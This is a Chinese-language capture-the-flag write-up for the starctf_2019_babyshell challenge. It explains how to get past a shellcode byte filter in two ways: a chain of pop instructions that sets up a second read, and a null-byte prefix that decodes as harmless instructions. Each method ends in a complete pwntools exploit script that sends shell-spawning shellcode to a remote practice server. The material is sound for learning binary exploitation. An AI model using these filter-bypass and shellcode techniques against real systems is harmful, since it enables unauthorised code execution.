starctf_2019_babyshell
查看保护
方法一:
这一题解法还挺多的。输入shellcode,将shellcode放到400786里判断
接着判断shellcode是否是byte_400978里面的字符,这题和可见字符很像,但难度高一点点,这里一开始笔者没有想到什么思路
在网上找了一些wp看了一下(wp),发现给的字符串强制转换成代码可以看到一些有用的东西
在主函数结束时有一个sys_read,mov eax,0 call rdx。
要调用sys_read我们要控制rax=0 rdi=0 rsi rdx。rdx为一个合适的值
在call下个断点看一下,做的时候忘记patchelf,导致打远程的时候失败了。。。
适合rdi 和 rdx的值都已经标注了。
这里选择0x4008f0作为rdx,08那里作为rdi。
pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;syscall
rdi设置好了rdx也设置好了,就会再次调用sys_read,输入shellcode即可
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 28619)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
shellcode = asm('pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;syscall')
r.sendlineafter(' plz:\n',shellcode)
sleep(1)
r.sendline(b'a'*0xC + asm(shellcraft.sh()))
r.interactive()
还有另外一种方法
方法二:
直接绕过400786的判断,这个时候就要构造\x00,只放\x00不可以的,会影响到后面的shellcode执行。
所以可以使用\x00来构造有意义的汇编代码。
00 40 00 add BYTE PTR [rax+0x0], al
00 41 00 add BYTE PTR [rcx+0x0], al
00 42 00 add BYTE PTR [rdx+0x0], al
00 43 00 add BYTE PTR [rbx+0x0], al
00 45 00 add BYTE PTR [rbp+0x0], al
00 46 00 add BYTE PTR [rsi+0x0], al
00 47 00 add BYTE PTR [rdi+0x0], al
40应该会错的因为rax最好不要随便用,这里拿个5a(XD
00 5a 00 add BYTE PTR [rdx+0x0], bl
绕过之后输入shellcode即可。
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 28619)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
shellcode = asm(shellcraft.sh())
p1 = b'\x00\x5a\x00' + shellcode
r.sendline(p1)
r.interactive()